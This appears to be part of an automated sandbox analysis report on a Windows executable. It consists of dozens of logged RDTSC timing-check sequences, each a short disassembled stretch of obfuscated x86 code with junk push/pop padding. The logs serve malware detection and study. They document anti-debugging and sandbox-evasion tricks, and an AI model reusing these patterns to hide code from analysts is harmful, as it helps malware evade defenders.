Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D163A second address: 9D1648 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ebx 0x0000000b pushad 0x0000000c popad 0x0000000d pop ebx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D1648 second address: 9D164E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D164E second address: 9D1652 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D18EB second address: 9D18EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D199E second address: 9D19B0 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F1A796B9BE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b push eax 0x0000000c push ebx 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D2028 second address: 9D20CC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1A796F3556h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push edx 0x0000000e call 00007F1A796F3548h 0x00000013 pop edx 0x00000014 mov dword ptr [esp+04h], edx 0x00000018 add dword ptr [esp+04h], 0000001Ch 0x00000020 inc edx 0x00000021 push edx 0x00000022 ret 0x00000023 pop edx 0x00000024 ret 0x00000025 jmp 00007F1A796F3556h 0x0000002a push 00000000h 0x0000002c push 00000000h 0x0000002e push ebx 0x0000002f call 00007F1A796F3548h 0x00000034 pop ebx 0x00000035 mov dword ptr [esp+04h], ebx 0x00000039 add dword ptr [esp+04h], 0000001Dh 0x00000041 inc ebx 0x00000042 push ebx 0x00000043 ret 0x00000044 pop ebx 0x00000045 ret 0x00000046 call 00007F1A796F3553h 0x0000004b mov di, CD05h 0x0000004f pop edi 0x00000050 push 00000000h 0x00000052 mov dword ptr [ebp+122D25ECh], edx 0x00000058 xchg eax, ebx 0x00000059 push eax 0x0000005a push edx 0x0000005b push eax 0x0000005c push edx 0x0000005d push eax 0x0000005e push edx 0x0000005f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D20CC second address: 9D20D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D20D0 second address: 9D20D6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D28F1 second address: 9D28F7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D3B6D second address: 9D3C08 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1A796F354Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push ebx 0x0000000d call 00007F1A796F3548h 0x00000012 pop ebx 0x00000013 mov dword ptr [esp+04h], ebx 0x00000017 add dword ptr [esp+04h], 00000017h 0x0000001f inc ebx 0x00000020 push ebx 0x00000021 ret 0x00000022 pop ebx 0x00000023 ret 0x00000024 jmp 00007F1A796F3557h 0x00000029 and edi, 4B6953F8h 0x0000002f push 00000000h 0x00000031 push 00000000h 0x00000033 push edx 0x00000034 call 00007F1A796F3548h 0x00000039 pop edx 0x0000003a mov dword ptr [esp+04h], edx 0x0000003e add dword ptr [esp+04h], 0000001Ch 0x00000046 inc edx 0x00000047 push edx 0x00000048 ret 0x00000049 pop edx 0x0000004a ret 0x0000004b mov si, di 0x0000004e push 00000000h 0x00000050 mov dword ptr [ebp+12471B57h], edx 0x00000056 mov esi, ecx 0x00000058 push eax 0x00000059 push eax 0x0000005a push edx 0x0000005b pushad 0x0000005c jmp 00007F1A796F354Fh 0x00000061 jg 00007F1A796F3546h 0x00000067 popad 0x00000068 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D3C08 second address: 9D3C0E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D46F1 second address: 9D4773 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jc 00007F1A796F3548h 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d popad 0x0000000e mov dword ptr [esp], eax 0x00000011 push 00000000h 0x00000013 push esi 0x00000014 call 00007F1A796F3548h 0x00000019 pop esi 0x0000001a mov dword ptr [esp+04h], esi 0x0000001e add dword ptr [esp+04h], 00000015h 0x00000026 inc esi 0x00000027 push esi 0x00000028 ret 0x00000029 pop esi 0x0000002a ret 0x0000002b mov edi, 2F934E17h 0x00000030 call 00007F1A796F3554h 0x00000035 mov edi, dword ptr [ebp+122D1914h] 0x0000003b pop esi 0x0000003c push 00000000h 0x0000003e push 00000000h 0x00000040 push ebx 0x00000041 call 00007F1A796F3548h 0x00000046 pop ebx 0x00000047 mov dword ptr [esp+04h], ebx 0x0000004b add dword ptr [esp+04h], 0000001Ch 0x00000053 inc ebx 0x00000054 push ebx 0x00000055 ret 0x00000056 pop ebx 0x00000057 ret 0x00000058 push 00000000h 0x0000005a mov edi, ecx 0x0000005c push eax 0x0000005d pushad 0x0000005e push eax 0x0000005f push edx 0x00000060 jg 00007F1A796F3546h 0x00000066 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D5DC6 second address: 9D5E3A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1A796B9BF1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push edx 0x0000000f call 00007F1A796B9BE8h 0x00000014 pop edx 0x00000015 mov dword ptr [esp+04h], edx 0x00000019 add dword ptr [esp+04h], 00000018h 0x00000021 inc edx 0x00000022 push edx 0x00000023 ret 0x00000024 pop edx 0x00000025 ret 0x00000026 jmp 00007F1A796B9BECh 0x0000002b push 00000000h 0x0000002d jmp 00007F1A796B9BEAh 0x00000032 push 00000000h 0x00000034 mov edi, dword ptr [ebp+122D39C1h] 0x0000003a xchg eax, ebx 0x0000003b jnc 00007F1A796B9BF4h 0x00000041 push eax 0x00000042 push eax 0x00000043 push edx 0x00000044 push eax 0x00000045 push edx 0x00000046 push eax 0x00000047 push edx 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D5E3A second address: 9D5E3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D5E3E second address: 9D5E42 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D5E42 second address: 9D5E48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D5E48 second address: 9D5E4E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D5E4E second address: 9D5E52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D687B second address: 9D6883 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D6883 second address: 9D6889 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D721D second address: 9D7271 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F1A796B9BE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b mov esi, ebx 0x0000000d push 00000000h 0x0000000f movsx edi, bx 0x00000012 push 00000000h 0x00000014 js 00007F1A796B9C02h 0x0000001a jnp 00007F1A796B9BFCh 0x00000020 call 00007F1A796B9BF5h 0x00000025 pop edi 0x00000026 xchg eax, ebx 0x00000027 pushad 0x00000028 push edx 0x00000029 jmp 00007F1A796B9BF2h 0x0000002e pop edx 0x0000002f push eax 0x00000030 push edx 0x00000031 jp 00007F1A796B9BE6h 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D7271 second address: 9D7275 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DA442 second address: 9DA45D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F1A796B9BF4h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DA45D second address: 9DA461 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DA461 second address: 9DA495 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jmp 00007F1A796B9BECh 0x0000000d nop 0x0000000e and ebx, dword ptr [ebp+122D36B1h] 0x00000014 push 00000000h 0x00000016 push 00000000h 0x00000018 sub dword ptr [ebp+122D3734h], eax 0x0000001e push eax 0x0000001f pushad 0x00000020 push edi 0x00000021 push esi 0x00000022 pop esi 0x00000023 pop edi 0x00000024 pushad 0x00000025 je 00007F1A796B9BE6h 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DB353 second address: 9DB359 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DB359 second address: 9DB35D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DB35D second address: 9DB3C0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jnl 00007F1A796F3550h 0x0000000f nop 0x00000010 jmp 00007F1A796F3552h 0x00000015 push 00000000h 0x00000017 movzx edi, bx 0x0000001a push 00000000h 0x0000001c push 00000000h 0x0000001e push edi 0x0000001f call 00007F1A796F3548h 0x00000024 pop edi 0x00000025 mov dword ptr [esp+04h], edi 0x00000029 add dword ptr [esp+04h], 00000014h 0x00000031 inc edi 0x00000032 push edi 0x00000033 ret 0x00000034 pop edi 0x00000035 ret 0x00000036 xchg eax, esi 0x00000037 push esi 0x00000038 jmp 00007F1A796F354Ah 0x0000003d pop esi 0x0000003e push eax 0x0000003f push eax 0x00000040 push edx 0x00000041 push eax 0x00000042 push edx 0x00000043 push eax 0x00000044 push edx 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DB3C0 second address: 9DB3C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DB3C4 second address: 9DB3CE instructions: 0x00000000 rdtsc 0x00000002 je 00007F1A796F3546h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DC432 second address: 9DC45C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1A796B9BF7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jns 00007F1A796B9BECh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DC45C second address: 9DC4B6 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jnl 00007F1A796F3546h 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push eax 0x00000010 call 00007F1A796F3548h 0x00000015 pop eax 0x00000016 mov dword ptr [esp+04h], eax 0x0000001a add dword ptr [esp+04h], 00000019h 0x00000022 inc eax 0x00000023 push eax 0x00000024 ret 0x00000025 pop eax 0x00000026 ret 0x00000027 push 00000000h 0x00000029 mov di, AD00h 0x0000002d mov dword ptr [ebp+12451200h], ecx 0x00000033 push 00000000h 0x00000035 xchg eax, esi 0x00000036 push esi 0x00000037 ja 00007F1A796F3554h 0x0000003d pop esi 0x0000003e push eax 0x0000003f push eax 0x00000040 push edx 0x00000041 push eax 0x00000042 push edx 0x00000043 push eax 0x00000044 push edx 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DC4B6 second address: 9DC4BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DC4BA second address: 9DC4CC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1A796F354Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E03A5 second address: 9E03FC instructions: 0x00000000 rdtsc 0x00000002 jp 00007F1A796B9BE8h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f push 00000000h 0x00000011 push edi 0x00000012 call 00007F1A796B9BE8h 0x00000017 pop edi 0x00000018 mov dword ptr [esp+04h], edi 0x0000001c add dword ptr [esp+04h], 00000015h 0x00000024 inc edi 0x00000025 push edi 0x00000026 ret 0x00000027 pop edi 0x00000028 ret 0x00000029 mov dword ptr [ebp+122D2596h], ebx 0x0000002f push 00000000h 0x00000031 jno 00007F1A796B9BECh 0x00000037 push 00000000h 0x00000039 mov edi, eax 0x0000003b xchg eax, esi 0x0000003c pushad 0x0000003d jmp 00007F1A796B9BEDh 0x00000042 push eax 0x00000043 push edx 0x00000044 push eax 0x00000045 pop eax 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DF5C3 second address: 9DF5C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E063D second address: 9E0641 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E2467 second address: 9E246D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E246D second address: 9E2471 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E33FE second address: 9E3402 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E43AF second address: 9E441B instructions: 0x00000000 rdtsc 0x00000002 jp 00007F1A796B9BE8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jbe 00007F1A796B9C01h 0x00000011 pushad 0x00000012 ja 00007F1A796B9BE6h 0x00000018 jmp 00007F1A796B9BF3h 0x0000001d popad 0x0000001e nop 0x0000001f push 00000000h 0x00000021 push ebp 0x00000022 call 00007F1A796B9BE8h 0x00000027 pop ebp 0x00000028 mov dword ptr [esp+04h], ebp 0x0000002c add dword ptr [esp+04h], 00000014h 0x00000034 inc ebp 0x00000035 push ebp 0x00000036 ret 0x00000037 pop ebp 0x00000038 ret 0x00000039 and di, 3BE4h 0x0000003e push 00000000h 0x00000040 mov dword ptr [ebp+122D1B48h], eax 0x00000046 push 00000000h 0x00000048 add ebx, 3B9CB664h 0x0000004e mov ebx, dword ptr [ebp+122D3B3Dh] 0x00000054 xchg eax, esi 0x00000055 push eax 0x00000056 push edx 0x00000057 push eax 0x00000058 push eax 0x00000059 push edx 0x0000005a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E441B second address: 9E4420 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E4420 second address: 9E4434 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1A796B9BF0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E4434 second address: 9E4438 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E4438 second address: 9E4446 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E469B second address: 9E469F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E650F second address: 9E6513 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E56DD second address: 9E56E3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E7596 second address: 9E759C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E759C second address: 9E75AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1A796F354Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E75AE second address: 9E75CE instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F1A796B9BF5h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E66A5 second address: 9E672A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 jne 00007F1A796F3546h 0x0000000d pop esi 0x0000000e popad 0x0000000f nop 0x00000010 push ebx 0x00000011 mov ebx, dword ptr [ebp+122D3AB5h] 0x00000017 pop edi 0x00000018 push dword ptr fs:[00000000h] 0x0000001f mov edi, dword ptr [ebp+1246A86Bh] 0x00000025 mov dword ptr fs:[00000000h], esp 0x0000002c push 00000000h 0x0000002e push esi 0x0000002f call 00007F1A796F3548h 0x00000034 pop esi 0x00000035 mov dword ptr [esp+04h], esi 0x00000039 add dword ptr [esp+04h], 00000017h 0x00000041 inc esi 0x00000042 push esi 0x00000043 ret 0x00000044 pop esi 0x00000045 ret 0x00000046 mov edi, dword ptr [ebp+122D38A1h] 0x0000004c mov eax, dword ptr [ebp+122D08DDh] 0x00000052 stc 0x00000053 push FFFFFFFFh 0x00000055 push 00000000h 0x00000057 push ecx 0x00000058 call 00007F1A796F3548h 0x0000005d pop ecx 0x0000005e mov dword ptr [esp+04h], ecx 0x00000062 add dword ptr [esp+04h], 00000018h 0x0000006a inc ecx 0x0000006b push ecx 0x0000006c ret 0x0000006d pop ecx 0x0000006e ret 0x0000006f mov dword ptr [ebp+122D2881h], ebx 0x00000075 push eax 0x00000076 pushad 0x00000077 pushad 0x00000078 push eax 0x00000079 push edx 0x0000007a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E75CE second address: 9E7611 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 pushad 0x0000000a mov cx, 31B7h 0x0000000e popad 0x0000000f push 00000000h 0x00000011 push 00000000h 0x00000013 push ebx 0x00000014 call 00007F1A796B9BE8h 0x00000019 pop ebx 0x0000001a mov dword ptr [esp+04h], ebx 0x0000001e add dword ptr [esp+04h], 00000018h 0x00000026 inc ebx 0x00000027 push ebx 0x00000028 ret 0x00000029 pop ebx 0x0000002a ret 0x0000002b push 00000000h 0x0000002d mov dword ptr [ebp+122D3734h], edi 0x00000033 xchg eax, esi 0x00000034 push eax 0x00000035 jc 00007F1A796B9BECh 0x0000003b push eax 0x0000003c push edx 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E672A second address: 9E674A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1A796F3558h 0x00000009 popad 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E96A3 second address: 9E96B2 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F1A796B9BE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push edx 0x0000000c pop edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E96B2 second address: 9E96BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F1A796F3546h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E7818 second address: 9E782F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 pushad 0x00000008 jnc 00007F1A796B9BECh 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EACC1 second address: 9EAD0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 nop 0x00000006 push 00000000h 0x00000008 push ecx 0x00000009 call 00007F1A796F3548h 0x0000000e pop ecx 0x0000000f mov dword ptr [esp+04h], ecx 0x00000013 add dword ptr [esp+04h], 00000015h 0x0000001b inc ecx 0x0000001c push ecx 0x0000001d ret 0x0000001e pop ecx 0x0000001f ret 0x00000020 mov edi, dword ptr [ebp+122D38D5h] 0x00000026 pushad 0x00000027 mov edx, dword ptr [ebp+122D1AE4h] 0x0000002d jng 00007F1A796F3548h 0x00000033 mov cl, CFh 0x00000035 popad 0x00000036 push 00000000h 0x00000038 movzx edi, bx 0x0000003b push 00000000h 0x0000003d mov ebx, dword ptr [ebp+122D191Ah] 0x00000043 xchg eax, esi 0x00000044 push esi 0x00000045 push edi 0x00000046 push eax 0x00000047 push edx 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EAD0C second address: 9EAD1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop esi 0x00000006 push eax 0x00000007 js 00007F1A796B9BFDh 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F051F second address: 9F0524 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F0524 second address: 9F052E instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F1A796B9BF2h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F052E second address: 9F0542 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F1A796F3546h 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e jnc 00007F1A796F3546h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F0542 second address: 9F056A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push edi 0x0000000c pop edi 0x0000000d push edi 0x0000000e pop edi 0x0000000f push edx 0x00000010 pop edx 0x00000011 popad 0x00000012 push edi 0x00000013 jmp 00007F1A796B9BF2h 0x00000018 pushad 0x00000019 popad 0x0000001a pop edi 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F056A second address: 9F0586 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jl 00007F1A796F3546h 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 jnp 00007F1A796F3546h 0x00000016 jc 00007F1A796F3546h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9959E4 second address: 9959E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9959E9 second address: 9959F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push edx 0x00000008 jng 00007F1A796F354Eh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F42EF second address: 9F42FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F4595 second address: 9F459B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F459B second address: 9F45A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edi 0x00000008 pop edi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
